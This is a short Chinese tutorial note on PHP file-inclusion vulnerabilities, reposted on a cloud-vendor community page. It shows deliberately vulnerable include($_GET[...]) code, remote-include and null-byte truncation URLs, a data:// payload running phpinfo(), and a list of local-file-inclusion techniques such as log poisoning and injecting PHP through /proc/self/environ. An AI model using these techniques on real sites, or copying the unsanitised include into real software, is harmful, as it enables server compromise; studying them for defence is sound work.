php 檔案包含筆記

來源:互聯網
上載者:User

php 中可以通過include()、require()、include_once()、require_once() 函數包含檔案,被包含的檔案無論類型都會被執行。 當allow_url_include 配置為on 時,則允許包含遠程檔案,反之為off 時則只允許包含本地檔案。另外一個比較關鍵的配置為open_basedir,這個選項限定了可以包含的目錄。

1、程式碼範例:

      

PHP <?php<br />include($_GET['test']);<br />?>

123 <?phpinclude($_GET['test']);?>

本地檔案:192.168.1.8/test.php?test=a.jpg

遠程檔案:192.168.1.8/test.php?http://www.chuhades.com/index.php

2、截斷

可以通過截斷來突破一些字元拼接。 代碼:

      

PHP <?php<br />$file = $_GET['test'];<br />include($file.'abcd');<br />?>

1234 <?php$file=$_GET['test'];include($file.'abcd');?>

這個代碼如果你直接192.168.1.8/test.php?test=a.jpg,實際包含的是“a.jpgabcd”,檔案不存在,會出錯。

因為php 的核心是c 實現的,所以可以通過0 位元組進行字串截斷。

192.168.1.8/test.php?test=a.jpg%00

包含遠程檔案時也可以通過“?”把後面的代碼解釋為URL 的參數,加以截斷。

3、本地檔案包含的利用技巧

(1)包含使用者上傳的檔案。 (2)包含data:// 或php://input 等偽協議。 http://192.168.1.8/test.php?test=data:text/plain,<?php phpinfo();?>%00 (3)包含Session 檔案。 (4)包含記錄檔,比如web server 的 error_log、access_log。 一般步驟:httpd.conf —-> log (5)包含/proc/self/environ 檔案。 在user-agent 中注入php 代碼。 (6)包含上傳的臨時檔案。

http://www.exploit-db.com/download_pdf/17010

(7)包含其他應用建立的檔案,比如資料庫檔案、快取檔案、應用日誌等。

4、其他函數 fopen() fread() ……

5、執行個體

http://www.wooyun.org/bug.php?action=list&subtype=49

http://www.wooyun.org/bug.php?action=list&subtype=15

 

< php, 檔案包含 >
相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.